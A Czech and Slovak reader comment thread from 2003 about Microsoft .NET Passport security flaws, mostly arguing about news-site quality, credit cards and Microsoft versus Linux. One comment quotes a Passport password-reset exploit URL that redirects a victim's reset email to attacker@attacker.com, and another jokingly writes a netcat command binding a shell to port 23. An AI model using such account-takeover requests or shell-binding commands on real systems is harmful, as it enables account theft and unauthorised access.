Microsoft NET Passport: další problémy!

Diskuze čtenářů k článku

Petr  |  11. 05. 2003 08:26  | 

Ach jo, to bude zase flamewar, jak zde hned okmazite kazdy bude odbornik na bezpecnost. Protoze v bezpecnosti delam skoro 15 let, tak vim, ze tohle je problematika internetu jako takoveho a ne jen MS. Spise passport je popularni a podobne bulvary jako zive se na nem prizivuji. Ale nedavno byl podobny problem s paypal a i dalsi online systemy trpi podobnymi problemy. Sice teda jsem proti passportu a vubec se mi nelibi, prave z technickeho pohledu, ale stejne tak se mi nelibi, jak zive je cim dal vetsi bulvar prave pro kriklouny a IT luzu.

Vsadim se o cokoliv, ze prave tihle se zde budou vyzivat. Prosim vas, nevite nekdo o nejakem jinem zinu nez zive? Fakt tohle uz je jina forma blesku a ja si chci precist KVALITNI info z IT, ze tenhle bulvar!!!!

Souhlasím  |  Nesouhlasím  |  Odpovědět
gt  |  11. 05. 2003 09:58  | 

Ja jsem presel na http://www.cdr.cz/. Je toho tam mene, ale kvalitneji. Ostatne uz mnohokrat jsem zazil, ze opravdu zajimavou vec si prectu nejprve tam a druhy den mi prijde ve vypisu novinek ze Zive. 

Souhlasím  |  Nesouhlasím  |  Odpovědět
Spajda  |  11. 05. 2003 13:05  | 

Za zajimave bych jeste povazoval zpravodajstvi www.technet.cz

Souhlasím  |  Nesouhlasím  |  Odpovědět
Myself  |  11. 05. 2003 22:39  | 
scorp1one  |  11. 05. 2003 18:38  | 

step 1, learn english...

na to ze v bezpecnosti "delas" 15 roko si zapotil peknu hovadinu s prepacenim. toto je chyba uplne zcestneho ne(za)mysleneho designu, takto to mohol spravit iba greenhorn z Harwardu, ktory tam uz urcite nepracuje. trocha sa zamysli predtym nez to das do jednotiek a nul. inak cely MS, vid simpl šering ako "izy šering" v WinXP.

preco si proti passportu? preco sa ti nepaci? Mne sa passport paci(ako napad aj ako technologia) ale tie niektore MS faux-passy to je katastrofa.

zin iny ako zive je zin sim sala bin Džin bin ladin.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Bohdan  |  11. 05. 2003 18:58  | 

hmmm, takze posilani cleartext citlivych informaci je problem internetu? Bohuzel neni. Internet s tim nema nic spolecneho. Jedine v cem mate pravdu, ze M$ nejsou jediny. Pocitam, ze sekuritak s vasi praxi musi na danym probleme zvednout oci v nebe a zvolat: "Proboha, to jsou lamy"

Souhlasím  |  Nesouhlasím  |  Odpovědět
Jerry III  |  11. 05. 2003 20:00  | 

To by me zajimalo jak bys to resil ty. Skladoval bys 200 milionu public klicu abys ty e-maily mohl kodovat? Vyzadoval bys po kazdem BFU at si vytvori svoje klice? Vazne by me zajimalo co bys delal... Jediny reseni co nebude delat diru je pristup kdy zapomenes heslo tak mas proste smulu, starej ucet zustane mrtvej v systemu a ty si budes muset vytvorit novej. Ale i pak se ti nekdo muze nabourat na ten starej (uhodne heslo, proti tomu se proste neubranis) a ty to vubec nezjistis, protoze ho nebudes pouzivat.

Souhlasím  |  Nesouhlasím  |  Odpovědět
baret  |  12. 05. 2003 10:12  | 

Jestli jsem to dobre pochopil, taks e parametr mailu predaval jako parametr URL a jeste k tomu nekodovane ale tohle je fakt lamerina. Mohli to dat aspon POSTem a nejak zasifrovat aby to nebylo tak ZJEVNE!!!

Souhlasím  |  Nesouhlasím  |  Odpovědět
bohdan  |  12. 05. 2003 10:56  | 

Hele tusis jak vubec funguje verejny a privatni klic? Staci naprosto jeden, ktery se posle klientovi. Ten bude pro vsechny stejny a proto se taky jmenuje verejny. Rozbali si to pouze server.
Navic je minimalne pul tuctu jinych technologii jak danou zalezitost zabezpecit

Souhlasím  |  Nesouhlasím  |  Odpovědět
Jerry III  |  12. 05. 2003 16:52  | 

Jenze pokud ten public klic posles vsem tak nebude problem si pro nekoho ciziho zakodovat request o resetnuti myho hesla. Prave ze vim jak to funguje, takze vim, ze jedinej zpusob jak se postarat o to aby si to resetnuty heslo precetl jedine vlastnik uctu je mit public klic toho vlastnika, kterej je samozrejme pro kazdej ucet jinej. Kodovat vsechno jednim jedinym public klicem kterej by precetl pouze privatni klic na Passportu neresi vubec nic. To samy napady nahore, jako POSTovat, i zakodovany data, neresi to vubec nic, jen to nebude mozny napsat rucne do URL, ale bude potreba vytvorit primitvni stranku s FORM (a pripadne nejakym skriptikem/ActiveX controlem co to "zakoduje"). Ale bezpecnejsi to nebude.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Bohdan  |  12. 05. 2003 17:24  | 

Dobra, vemem v potaz, ze budes vedet jak mas zakodovat parametr. Mne staci vygenerovat cookie na zaklade casu a IP prihlaseneho stroje na dany ucet, poslat jej pri uspesnem prihlaseni na klienta.Ten budu taky v zakodovanem parametru ocekavat a vyzrajes na mne pouze s utokem MIM. Pokud jeste kolem toho postavim SSL tunel, tak ti nepomuze ani to.

Navic anonymne resetovat ucet je myslenka hodna do plynu

Souhlasím  |  Nesouhlasím  |  Odpovědět
Jerry III  |  12. 05. 2003 21:20  | 

Pokud se dokazes na ucet prihlasit tak nepotrebujes resetovat heslo, ze jo. Tahle ficurka je tam pro lidi co heslo zapomenou (ztratej papirek na kterym ho maj napsany). To co popisujes se da pouzit na sesny, ale ne na resetovani hesla ktery si zapomel, tam to opravdu jde jen tak, ze budes mit public klic ke kazdymu uctu kterym to zakodujes, tj. sice si to kdokoli bude moct vyzadat, ale jen majitel uctu (private klice) si bude moct precist jakyze to ma novy heslo.

Jinak kontrolovat sesny na IP adresy je docela zradny, ja to kdysi delal a musel sem to zrusit, protoze sou zakaznici co se jim za behu dynamicky meni IP adresa (AOL je ukazkovej priklad, oni zabehu zakaznikum klidne zmeni IP adresu).

Souhlasím  |  Nesouhlasím  |  Odpovědět
drobik  |  13. 05. 2003 07:52  | 

Predpokladam, ze posielanie plain-text informacii je uplne bezpecne. Sa cudujem, preco uz davno nieje telnetovy daemon robeny jednym riadkom: nc -p 23 -l -L -e tcsh

Tymto prajem dlhe zdravie ludom, co este stale pisu poctivy optimalizovany kod like HackStop

"You are inside the core. Shame on you!"

Pekny den Vam vsetkym priatelia.

drobik.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Matrix  |  11. 05. 2003 08:49  | 

"Stačilo znát správnou emailovou adresu uživatele, což je informace velice snadno dostupná."

K utoku je potreba, aby uzivatel dostal specielni email a aby si ho otevrel a nechal ho otevreny minimalne 15 minut:

Tady je popis primo od autora nalezeneho exploitu:

http://alive.znep.com/~marcs/passport/

A SOUHLASIM S PETREM A TAKY CHCI ZNAT LEPSI SERVER NEZ ZIVE.CZ!!!! ANI OPISOVAT NEUMI!!!

Souhlasím  |  Nesouhlasím  |  Odpovědět
muminek  |  11. 05. 2003 09:07  | 

Aaaaaa, zive zase chce generovat vikendove imprese
Osobne passport nepouzivam a myslim si, ze tohle je spise problem amiku a prakticky jen MSN serveru. A tem, kdo plati kreditkou a nebo si nechavaji info o kreditni karte nekde ulozenou (mobil, komp atd) mohu rici jedine, ze to jsou magori Zrovna nedavno jsem cetl clanek o tom, jak chlapkovi ukradli mobil, on tam mel cisla nekolika kreditek prave pro platby na netu a nemohl si vzpomenou, ktere vsechny tam mel. A nez je bloknul, tak pak zjistil, ze mu nekdo udelal na netu nakup za 15k$ Proste kreditky jsou svinstvo a to by se melo resit. TO je primarni problem a divim se, jak je mozne, ze nekdo jeste nezaloval spolecnosti jako VISA aspol. Vzdyt staci jen cislo te kreditky a nekdo vam vybere ucet, coz je neuveritelny v dnesni dobe mozneho zabezpeceni Proto at klidne klienti dostanou lekci v passportu, pak bude i toto zle k necemu dobre a to ze bude vyssi tlak na odstraneni kreditek z trhu.

Souhlasím  |  Nesouhlasím  |  Odpovědět
CZar0dej  |  11. 05. 2003 13:24  | 

Tak to se mi zda vazne silene, aby to zaslo nazoarove tak daleko. Souhlasim s tim, ze kreditky jako takove jsou de facto nezabezpecene a uz bych uvital smart cards, ale bohuzel jsou tady. A popravde, ja, ktery platim v restauracich a obchodech kreditkou, kde se da, bych se zurive branil tomu, kdbyby se meli rusit.  Asi jsem uz asi dost zlenivel a kapitlismus v teto podobe mi fakt vyhovuje...  Ale o tom ten clanek asi nebyl...

Souhlasím  |  Nesouhlasím  |  Odpovědět
Vita  |  11. 05. 2003 17:08  | 

Kartu si muzete kdykoli zablokovat pro podobne platby... zadny problem.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Vít  |  12. 05. 2003 10:21  | 

...A popravde, ja, ktery platim v restauracich a obchodech kreditkou, kde se da, bych se zurive branil tomu, kdbyby se meli rusit...

S tím souhlasím, akorát že problém není v placení kreditkou ale v tom, že platbu nemusíš potvrzovat PINem!!! Což je v dnešní době pro mne naprosto nepochopitelné..

Souhlasím  |  Nesouhlasím  |  Odpovědět
CZar0dej  |  12. 05. 2003 10:32  | 

No ono jak kde. Je pár míst, kde po mě PIN chtěli. Což je divné, že jen někde, teda ne divné, ale smutné..  Záleží na terminálu, který daný podnik využívá. Pro potvrzení transakce totiž podle zákona stačí buď PIN nebo stvrzení podpisem na účtence u obchodníka.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Jerry III  |  11. 05. 2003 20:04  | 

Nikdo to neresi protoze narozdil od slavne CR ve statech nejsi zodpovedny za neautorizovane platby (tj. ty co si neudelal ty nebo nepovolil jinym), ze zakona platis akorat prvnich $50, zbytek jde na triko obchodnikovi. A protoze za zneuziti sou docela drsny palky v lochu (pet let a vic co vim) tak se to zatim dari drzet v jednotkach procent (z celkovyho objemu transakci).

Souhlasím  |  Nesouhlasím  |  Odpovědět
jose  |  11. 05. 2003 09:22  | 

skus root.cz, pclinuxonline.com, slashdot.org. to su moje oblubene.. cus jose

Souhlasím  |  Nesouhlasím  |  Odpovědět
Matrix  |  11. 05. 2003 09:25  | 

Ty ja ctu, ale to je primarne o linuxu a uprimne, to je jen jedna cast trhu a ke vsemu dost tendencni (i kdyz diskuze na slashdotu nekdy stoji za to :)))) Chtel jsem nejaky magazin, ktery nebude utocit na nikoho a bude proste objektivne informovat. Takovy podle me tady chybi a ze zive.cz je neprofesionalni bulvar.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Mike  |  11. 05. 2003 09:39  | 

Bohuzel zadny takovy IT magazin v CR neexistuje, jeste existuje technet.cz, ale ten je jeste horsi a pise jeste horsi blaboly nez ZIVE.

Misto aby na Zive byli nejake zajimave recenze software, nejake zajimave clanky o bezpecnosti proste neco co zaujme, tak to pak dopadne tak jako s timto clankem. Mne pripade, ze ZIVE smeruje tam kam smeroval SvetNamodro a vsichni vime jak dopadl.....

Ale jinak pokud si chces precist neco, co alespon trosku stoji zato, tak zkus tohle: http://svetsiti.cz

Souhlasím  |  Nesouhlasím  |  Odpovědět
Matrix  |  11. 05. 2003 09:53  | 

Diky, to vypada zajimave. Ani jsem ten server neznal.

Jinak s tim hodnocenim Zive souhlasim, podle me to vedou tak, ze nakonec je IT obec odmitne a vedle nich vznikne neco skutecne profesionalniho, nez tenhle sunt.

Souhlasím  |  Nesouhlasím  |  Odpovědět
o.  |  11. 05. 2003 10:09  | 

no rekl bych, ze na cdr.cz jsou zpravy nezaujate a fakticky spravne.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Majk  |  11. 05. 2003 09:34  | 

Nic proti, ale Root je uplny burval. Jeho cilem je jen snaha poskozovat MS a vychvalovat Linux. Ostatne clanky v novinkach jsou toho jasnym dukazem.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Matrix  |  11. 05. 2003 09:57  | 

Prave, tohle mi na rootu zacina taky vadit. Ja osobne jsem priznivcem hesla zij a nech zit. Tedy mam rad linux, ale pouzivam i windows atd. A rozhodne neprospeje linuxu nejake takove utoky a to zacina root delat cim dal vic. Mozna chteji mit navstevnost jako zive a vsimli si, ze imprese se generuji bulvarem, ptz pak tam prijde kdejaky blbecek :))) Ja osobne jsem spise pro neagresivni pristup, at root pise clanky o linuxu a furt se nesere do kohokoliv jineho ;) Mame i tak dost starosti v zivote a jeste se nekde rozcilovat nad nejakou zamerne redakci vytvorenou flameware, chci jen info abych mohl delat dobre svoji praci. A pritom kdyz root zacinal, tak byl moc fajn....mrzi me to.

Souhlasím  |  Nesouhlasím  |  Odpovědět
shrek  |  11. 05. 2003 22:20  | 

No, ty kratke zpravy jsou mozna ponekud tendencni nebo spis nadsenecke, ale odborna kvalita clanku je porad pomerne slusna. Staci se podivat na titulky aktualnich clanku - nic bulvarniho tam nevidim...

Souhlasím  |  Nesouhlasím  |  Odpovědět
jose  |  11. 05. 2003 09:58  | 

jake ostatne clanky?? mohol by si byt konkretnejsi.. cislo/rocnik.. dik /jose/

Souhlasím  |  Nesouhlasím  |  Odpovědět
Matrix  |  11. 05. 2003 10:19  | 

Ja osobne ted z hlavy nevim cislo clanku, rekl bych vam ho hned. Ale je to muj dlouhodoby dojem z rootu. Asi tak, jako je dlouhodoby dojem ze zive, ze tento server je mene a mene odborny a vice pise same kraviny. Ale pravdepodobne ani vy si o tom nedelame zadnou statistiku, ani soupis clanku. Ale myslim si, ze kdyz si projdete ten ci onen server tak uvidite, ze tento trend tam je. Ale pokud jste z rootu, tak byste mohl tu analyzu udelat primo dataminingem na databazi a zkusit si vyhodnotit, jak se posouvaji informace urcitym smerem, coz je skoda. Hezky den.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Michal Kašpar  |  11. 05. 2003 09:34  | 

Domnívám se, že tenhle článek se týká jiné díry:
It is so simple that it is funny.

All you got to do is hit the following in your browser:

https://register.passport.net/emailpwdreset.srf?lc=1033&em=victim@hotmail.com&id
+=&cb=&prefem=attacker@attacker.com&rst=1

And you???ll get an email on attacker@attacker.com asking you to click on a url
+something like this:

http://register.passport.net/EmailPage.srf?EmailID=CD4DC30B34D9ABC6&URLNum=0&lc=
+1033

From that url, you can reset the password and I don???t think I need to say
+anything more about it.

Souhlasím  |  Nesouhlasím  |  Odpovědět
otakar schon  |  11. 05. 2003 16:13  | 

Obavam se, ze vase informace je nepresna. chyba, na kterou odkazujete byla prvnim velkym problemem Passportu. Nyni jde ale o neco jineho, alespon jsme to tak pochopil jak ze stranek MS tak z dalsich informacnich zdroju. Co se tyka opisovani, tak zive clanek melo v redakcnim systemu od patku, ale protoze o vikendu vychazi clanku mene, dostalo se na nej az v nedeli.

 

 

Souhlasím  |  Nesouhlasím  |  Odpovědět
O L I N  |  11. 05. 2003 10:32  | 
net4u  |  11. 05. 2003 10:49  | 

jeste lepsi je www.pravednes.cz

je to hezky prehledne

Souhlasím  |  Nesouhlasím  |  Odpovědět
Martin Minar  |  11. 05. 2003 10:45  | 

Mne spis vadi na zive.cz, ze kdyz uz prevezmou clanek, tak ho ani neumi poradne prelozit - mate predstavu kolik je 2,2 bilionu dolaru? ) Americky "billion" je ceska miliarda... I kdybych neumel poradne anglicky, tak 2 200 000 000 000 (uvadene cislo) deleno 11 000 (uvadena pokuta) se rovna 200 000 000 uzivatelu passportu... Opravdu si myslite, ze jich je tolik?

P.S. Co takhle udelat pridavani prispevku tak, aby to fungovalo i v Opere7? )

Souhlasím  |  Nesouhlasím  |  Odpovědět
Trillian  |  11. 05. 2003 12:39  | 

no jo zive vali

americkej bilion je cesla miliarda a ne bilion kterej o rad vis

1 US bilion = 1 000 000 000 = 1 CZ miliarda
1 CZ bilion = 1 000 000 000 000 = 1 000 US bilionu

taky by mohli pouzivat cm misto palcu

Souhlasím  |  Nesouhlasím  |  Odpovědět
Radek Strebl  |  12. 05. 2003 09:26  | 

To je problem nejen Zive. V sobotu jsem koukal na film Kontakt (mimochodem nejvetsi hovadina, co jsem kdy videl) a tam taky nejdriv rekli, ze prijimaji signal na frekvenci 8000 gigahertz (to by mne zajimalo, jak to infracervene svetlo budou prijimat parabolickejma antenama) a potom ze stavba Stroje bude stat 300 bilionu dolaru. Na to by NASA setrila asi tak tisic let ! Buhozel bilion a miliarda jsou zameneny snad v kazdym filmu, co jsem videl v ceskym dabingu.

Souhlasím  |  Nesouhlasím  |  Odpovědět
otakar schon  |  11. 05. 2003 12:45  | 

V clanku, odkud byl udaj o mozne pokute prejat stoji toto:

Some reports have indicated that if the FTC tries to levy fines on Microsoft, the total penalty could be as high as $2.2 trillion if all accounts are tallied as violations. However, the number of people that have been locked out of their accounts may be a better basis for determining fines.

Je to opravdu hodne penez, nicmene co se tyka spravnosti prekladu, tentokrat se mylite. 1 trillion v americtine je jeden bilion v cestine, leda by se mylily renomovane slovniky, a verte, ze jsem si to overoval.

 

Bohuzel asi nema cenu komentovat zbytek flame pod mym clankem. CHapu, ze zZIve neni pro odborniky v IT dost odborne, ale ZIve pravdepodobne neni urceno pouze kovanym odbornikum, ale zejmena beznym uzivatelum internetu a informacnich a telekomunikacnich technologii.

 

Souhlasím  |  Nesouhlasím  |  Odpovědět
Martin Minar  |  11. 05. 2003 16:01  | 

V tom pripade se omlouvam, ale pripadne mi nerealne, ze by to pouzivalo tolik milionu uzivatelu...

Souhlasím  |  Nesouhlasím  |  Odpovědět
otakar schon  |  11. 05. 2003 16:10  | 

Uzivatelu system Passport je podle dostupnych udaju vice nez 200 milionu. SAtaci vynasobit 11 000, ta nasobilka je pak pomerne prosta Tehc uzivatelu je tolik diky tomu, ze microsoft passport tvrde nuti kazdemu uzivateli novejsich windows. Treba pro nakup elektronickych knih ve formatu MS Reader (ktery je opravdu pro uzivatele prijemny) je nutne mit Passport ucet pro aktivaci software a takovyhc pripadu je mnoho. Pokud se nemylim, bez passportu si nezaridite ani ucet na hotmailu a ten ma uzivatelu opravdu pozehnane.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Honza  |  11. 05. 2003 18:47  | 

Skutečně uváděný počet uživatelů Passport je 200 milionů.

...to máme ale na světě debílků... co nechápou

Souhlasím  |  Nesouhlasím  |  Odpovědět
mirek  |  11. 05. 2003 15:03  | 

Podle některých zpráv to vypadá, že pokud se FTC rozhodne vymáhat pokutu, celková výše finančního trestu může dosáhnout 2,2 bilionu amerických dolarů. Tato pro Microsoft katastrofální situace by mohla nastat, pokud se jako narušené počítaly všechny účty, které Microsoft ve své službě Passport spravuje. Mnohem pravděpodobnější ale je, že jako základ pro vyměření případné pokuty bude brán počet zablokovaných účtů, který je samozřejmě mnohem nižší, i když žádné bližší údaje nejsou k dispozici.

Když jde o škodu způsobenou "piráty", počítá se škoda většinou ta nejvyšší teoreticky možná. Ejhle, pokud jde o pokutu pro M$, počítá se ta pravděpodobnější, mnohem nižžší.
Svoboda a SPRAVEDLNOST pro všechny !!!

 

Souhlasím  |  Nesouhlasím  |  Odpovědět
Skyfinger  |  11. 05. 2003 15:32  | 

Problem je v tom, ze neumite premyslet. To je to same jako kdyby jste rekl, ze ten, kdo nestastnou nahodou usmrti nekoho pri dopravni nehode, mel jit do vezeni na tak dlouho, jako clovek, ktery kvuli 1000kc nekoho znasilnil a brutalne usmrtil!!!

Problem je v tom, ze hacker chtel udelat skodu a microsoft ne! Byt ho nesnasim, tak je to holt fakt! Proto s vasi posledni vetou plne souhlasim (ovsem ne ironicky, jak vy)

Souhlasím  |  Nesouhlasím  |  Odpovědět
mirekl  |  12. 05. 2003 08:13  | 

Chyba!!! Umím přemýšlet. Mám za to, že ta pokuta má víceméně vycházet z toho, že M$ se k něčemu zavázal a tato chyba znamená, že se na svůj slib tak trošku vyfláknul.
Takže se zamyslete vy.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Skyfinger  |  17. 05. 2003 20:22  | 

Ja samozřejmě chci, aby pokutu dostal a VELKOU!!! Jen jsem psal, že je veliký rozdíl mezí tím, způsobit škodu nechtěnou chybou a snahou udělat co největší škody! Nic víc nic míň! Což vy jste házel do jednoho pytle!! A jestli jste to ani teď nepochopil, tak mi to je líto!

Souhlasím  |  Nesouhlasím  |  Odpovědět
magitek  |  11. 05. 2003 16:44  | 

Já MS rád nemám protože je to stoka kterou protejkaj hodně špatný charaktery, ale jedno vím jistě MS nemůže bankrotovat protože to by byl takovej cirkus že většině z vás by bylo zle jen by si na to vzpoměla, já myslím že pokud by jste jen tušili co by nastalo tak by jste raději vždy od MS koupili vše originální (a rádi).

To je holt smůla

Souhlasím  |  Nesouhlasím  |  Odpovědět
rootik  |  11. 05. 2003 20:55  | 

Nejhorsi na tom je, ze mate asi pravdu...

Ale ono takovych monopolu je ve svete hodne, takze tohle je asi problem toho, ze penize delaji dalsi penize a tim roste moc tech firem, ktere nas pak ovladaji a kdyby nektera z tech hlavnich padla, at to bude znamenat pohromu pro celou ekonomiku po svete. To je velka nevyhoda globalizace trhu.

Souhlasím  |  Nesouhlasím  |  Odpovědět
bobik  |  12. 05. 2003 00:02  | 

Ja osobne mam rad MS, ale i jine systemy. Myslim si, ze je dobre, aby vedle se kooxistovaly treba systemy jako MS, Apple, Linux atd. Jen fanatik by tvrdil, ze MS je spatna firma, naopak, ma mnoho dobrych napadu a reseni. Ale je pravda, ze se jim nevyplatila ta arogance a dobre jim tak za to, i proto vzniknul Linux, jako alternativa. Ale prave i tato komunita si stale vice uvedomuje, ze neni mozne prezit z dotaci a aby bylo mozne vyvoj dal udrzet a zaplatit, tak je nutne prejit k vice komercnimu modelu. I RH se o to vic snazil a myslim si, ze by meli i vic pritvrdit a mit vyssi ceny, zaslouzili by si to. Takze nakonec dojde k tomu, ze ceny LInuxu i Windows budou aproximovat a budou nakonec vedle sebe koexistovat. Neni dobre mit monoliticky system jen na unixu a nebo jen na windows. Optimalni je kombinace a rozumny architekt systemu a manazer tohle vi. Proto linux vytlaci ony drahe verze unixu jako AIX, HP, Solaris/RISC atd. a zustanou dve hlavni platformy. A je dobre, ze zustanou, jen diky tomu bude pokracovat konkurencni boj a diky tomu i my, jako uzivatele, budeme na tom profitovat a pritom vyvoj nebude muset byt dotovat, ptz ceny budou prijatelne a my si normalne koupime tu verzi, co budeme chtit.

Souhlasím  |  Nesouhlasím  |  Odpovědět
BoodOk  |  12. 05. 2003 09:10  | 

Relativne pravdive, nicmene model vyvoje Linuxu je absolutne odlisny od vyvoje komercniho SW a na rozdil od nej Linux sam v sobe obsahuje schopnost vnitrne si konkurovat. To je pro nej do budoucna zcela zasadni vyhodou.

Souhlasím  |  Nesouhlasím  |  Odpovědět
bobik  |  12. 05. 2003 09:21  | 

Souhlasim, ale myslim si, ze je to dvojsecna zbran. Ono je to jak vyhoda tak i nevyhoda, ptz konkurujici si firmy, distrubuce, skupiny mohou vest i k roztristenosti pohledu na Linux a mohou i negativne ovlivnit urcitou skupinu uzivatelu. Kazdopadne co ja vim, tak MS dava ve sve iniciative shared code svoje zdrojaky univerzitam a vybranym vyvojovym tymum a tim jim dochazi ta zpetna vazba. Priznejme, ze vetsina uzivatelu linuxu jsou "BFU", co do pohledu vyvoje jadra, jsou to uzivatele a jen pomerne nekolik malo lidi ten vyvoj skutecne vytvari. A totez plati pro MS a tim, ze oteviraji svuj kod univerzitam a vyzkumnym skupinam (prave pro ty spickove odborniky, co tohle mohou delat), tak i oni maji jakousi konkurenci. Ale to spekuluji, ptz to odhaduji z toho, co vim z tisku. Ale podle mne ta aproximace bude nejenom na poli ceny, ale i toho zpusobu vyvoje.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Pedro Alvarez  |  13. 05. 2003 13:23  | 

No, byt Vami, asi bych si rozmyslel jestli chci videt zdojaky od MS produktu - pokud tak budete chtit ucinit, podepisujete cestne prohlaseni, ze cokoliv te chvile vytvorite (mysleno v SW oblasti) je dusevnim vlastnictvim MS.

Souhlasím  |  Nesouhlasím  |  Odpovědět
MarS  |  13. 05. 2003 16:22  | 

Jenom takova mala poznamka..linux nevznikl jako odpoved na Windowsy, ale jako alternativa k drahym komercnim unixum (puvodne). To, ze se dnes nektere firmy snazi se svymi distribucemi prosadit na trhu, ktery jeste porad ovlada Microsoft, uz je uplne jina pisnicka..

Souhlasím  |  Nesouhlasím  |  Odpovědět
Kofola  |  13. 05. 2003 03:03  | 

Uz ma zacinaju unavovat citatelia, ktori nevedia nic ine ako potopit clanok. To iste je aj na www.zive.sk. Polovica dikusie sa vedie o blbostiach, ktore nikoho nezaujimaju. Mali by sme si uvedomit, ze nie vsetci vidia do problematiky rovnako.
Ked sa vam nepaci, precitajte si spravy inde. Mne to staci, nemam cas sa hrabat v mnozstve sprav.

p.s.k technickym a rozumnym pripomienkam nemam nic

Souhlasím  |  Nesouhlasím  |  Odpovědět
matesvates  |  13. 05. 2003 08:11  | 

A jeeeeje, zase jeden blbecek, co to potrebuje mit naservirovany a je mu jedno, jestli je to kvalitni nebo ne. Hlavne ze si precte denne svoji davku zprav a je spokojeny. Myslet za nej maji jini...Jo, tak pro tyhle je zive urceno a ti budou vzdy spokojeni ;)

Souhlasím  |  Nesouhlasím  |  Odpovědět
Grrr  |  14. 05. 2003 09:05  | 

Cislo kreditky nebo podobny udaj muze sverit M$ jen naprosto nesvepravny jedinec nebo American...  

Souhlasím  |  Nesouhlasím  |  Odpovědět
Zasílat názory e-mailem: Zasílat názory Můj názor
Aktuální číslo časopisu Computer

Megatest 24 PC zdrojů

Jak využít umělou inteligenci

10 špičkových sluchátek s ANC

Playstation 5 vs Xbox Series X